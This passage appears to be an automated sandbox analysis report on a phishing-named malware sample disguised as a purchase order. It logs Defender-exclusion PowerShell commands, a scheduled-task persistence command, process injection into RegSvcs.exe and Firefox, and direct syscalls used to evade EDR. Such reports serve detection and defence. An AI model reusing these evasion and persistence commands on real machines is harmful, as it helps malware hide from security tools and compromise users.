Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC8F9 mov eax, dword ptr fs:[00000030h]	8_2_015CC8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016608C0 mov eax, dword ptr fs:[00000030h]	8_2_016608C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590887 mov eax, dword ptr fs:[00000030h]	8_2_01590887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161C89D mov eax, dword ptr fs:[00000030h]	8_2_0161C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01588B50 mov eax, dword ptr fs:[00000030h]	8_2_01588B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01638B42 mov eax, dword ptr fs:[00000030h]	8_2_01638B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01626B40 mov eax, dword ptr fs:[00000030h]	8_2_01626B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01626B40 mov eax, dword ptr fs:[00000030h]	8_2_01626B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165AB40 mov eax, dword ptr fs:[00000030h]	8_2_0165AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158CB7E mov eax, dword ptr fs:[00000030h]	8_2_0158CB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01644B4B mov eax, dword ptr fs:[00000030h]	8_2_01644B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01644B4B mov eax, dword ptr fs:[00000030h]	8_2_01644B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01662B57 mov eax, dword ptr fs:[00000030h]	8_2_01662B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01662B57 mov eax, dword ptr fs:[00000030h]	8_2_01662B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01662B57 mov eax, dword ptr fs:[00000030h]	8_2_01662B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01662B57 mov eax, dword ptr fs:[00000030h]	8_2_01662B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163EB50 mov eax, dword ptr fs:[00000030h]	8_2_0163EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01658B28 mov eax, dword ptr fs:[00000030h]	8_2_01658B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01658B28 mov eax, dword ptr fs:[00000030h]	8_2_01658B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664B00 mov eax, dword ptr fs:[00000030h]	8_2_01664B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BEB20 mov eax, dword ptr fs:[00000030h]	8_2_015BEB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BEB20 mov eax, dword ptr fs:[00000030h]	8_2_015BEB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160EB1D mov eax, dword ptr fs:[00000030h]	8_2_0160EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B0BCB mov eax, dword ptr fs:[00000030h]	8_2_015B0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B0BCB mov eax, dword ptr fs:[00000030h]	8_2_015B0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B0BCB mov eax, dword ptr fs:[00000030h]	8_2_015B0BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161CBF0 mov eax, dword ptr fs:[00000030h]	8_2_0161CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590BCD mov eax, dword ptr fs:[00000030h]	8_2_01590BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590BCD mov eax, dword ptr fs:[00000030h]	8_2_01590BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590BCD mov eax, dword ptr fs:[00000030h]	8_2_01590BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BEBFC mov eax, dword ptr fs:[00000030h]	8_2_015BEBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01598BF0 mov eax, dword ptr fs:[00000030h]	8_2_01598BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01598BF0 mov eax, dword ptr fs:[00000030h]	8_2_01598BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01598BF0 mov eax, dword ptr fs:[00000030h]	8_2_01598BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163EBD0 mov eax, dword ptr fs:[00000030h]	8_2_0163EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01644BB0 mov eax, dword ptr fs:[00000030h]	8_2_01644BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01644BB0 mov eax, dword ptr fs:[00000030h]	8_2_01644BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0BBE mov eax, dword ptr fs:[00000030h]	8_2_015A0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0BBE mov eax, dword ptr fs:[00000030h]	8_2_015A0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0A5B mov eax, dword ptr fs:[00000030h]	8_2_015A0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0A5B mov eax, dword ptr fs:[00000030h]	8_2_015A0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163EA60 mov eax, dword ptr fs:[00000030h]	8_2_0163EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596A50 mov eax, dword ptr fs:[00000030h]	8_2_01596A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160CA72 mov eax, dword ptr fs:[00000030h]	8_2_0160CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160CA72 mov eax, dword ptr fs:[00000030h]	8_2_0160CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CCA6F mov eax, dword ptr fs:[00000030h]	8_2_015CCA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CCA6F mov eax, dword ptr fs:[00000030h]	8_2_015CCA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CCA6F mov eax, dword ptr fs:[00000030h]	8_2_015CCA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B4A35 mov eax, dword ptr fs:[00000030h]	8_2_015B4A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B4A35 mov eax, dword ptr fs:[00000030h]	8_2_015B4A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161CA11 mov eax, dword ptr fs:[00000030h]	8_2_0161CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BEA2E mov eax, dword ptr fs:[00000030h]	8_2_015BEA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CCA24 mov eax, dword ptr fs:[00000030h]	8_2_015CCA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590AD0 mov eax, dword ptr fs:[00000030h]	8_2_01590AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C4AD0 mov eax, dword ptr fs:[00000030h]	8_2_015C4AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C4AD0 mov eax, dword ptr fs:[00000030h]	8_2_015C4AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E6ACC mov eax, dword ptr fs:[00000030h]	8_2_015E6ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E6ACC mov eax, dword ptr fs:[00000030h]	8_2_015E6ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E6ACC mov eax, dword ptr fs:[00000030h]	8_2_015E6ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CAAEE mov eax, dword ptr fs:[00000030h]	8_2_015CAAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CAAEE mov eax, dword ptr fs:[00000030h]	8_2_015CAAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C8A90 mov edx, dword ptr fs:[00000030h]	8_2_015C8A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159EA80 mov eax, dword ptr fs:[00000030h]	8_2_0159EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159EA80 mov eax, dword ptr fs:[00000030h]	8_2_0159EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159EA80 mov eax, dword ptr fs:[00000030h]	8_2_0159EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159EA80 mov eax, dword ptr fs:[00000030h]	8_2_0159EA80

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe"
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtCreateKey: Direct from: 0x76F02C6C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtSetInformationThread: Direct from: 0x76F02B4C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtQuerySystemInformation: Direct from: 0x76F048CC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtOpenSection: Direct from: 0x76F02E0C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtSetInformationThread: Direct from: 0x76EF63F9
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtCreateFile: Direct from: 0x76F02FEC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtOpenFile: Direct from: 0x76F02DCC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtQueryInformationToken: Direct from: 0x76F02CAC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtTerminateThread: Direct from: 0x76EF7B2E
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtTerminateThread: Direct from: 0x76F02FCC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtOpenKeyEx: Direct from: 0x76F02B9C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtSetInformationProcess: Direct from: 0x76F02C5C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtCreateMutant: Direct from: 0x76F035CC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtMapViewOfSection: Direct from: 0x76F02D1C
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtResumeThread: Direct from: 0x76F036AC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtReadFile: Direct from: 0x76F02ADC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtDelayExecution: Direct from: 0x76F02DDC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtQueryInformationProcess: Direct from: 0x76F02C26
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtResumeThread: Direct from: 0x76F02FBC
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	NtCreateUserProcess: Direct from: 0x76F0371C

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Windows\SysWOW64\runas.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: NULL target: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe protection: read write
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: NULL target: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\runas.exe

Thread register set: target process: 7920

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\runas.exe

Thread APC queued: target process: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Uses runas.exe to run programs with evaluated privileges

Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Process created: C:\Windows\SysWOW64\runas.exe "C:\Windows\SysWOW64\runas.exe"

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: D83008	Jump to behavior

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp63ED.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp9222.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Process created: C:\Windows\SysWOW64\runas.exe "C:\Windows\SysWOW64\runas.exe"
Source: C:\Windows\SysWOW64\runas.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"

Source: nhClcdOjQwJ.exe, 00000011.00000000.1994799522.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942625769.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2942660433.0000000001410000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: nhClcdOjQwJ.exe, 00000011.00000000.1994799522.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942625769.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2942660433.0000000001410000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: nhClcdOjQwJ.exe, 00000011.00000000.1994799522.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942625769.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2942660433.0000000001410000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: nhClcdOjQwJ.exe, 00000011.00000000.1994799522.0000000000D11000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000011.00000002.2942625769.0000000000D10000.00000002.00000001.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2942660433.0000000001410000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
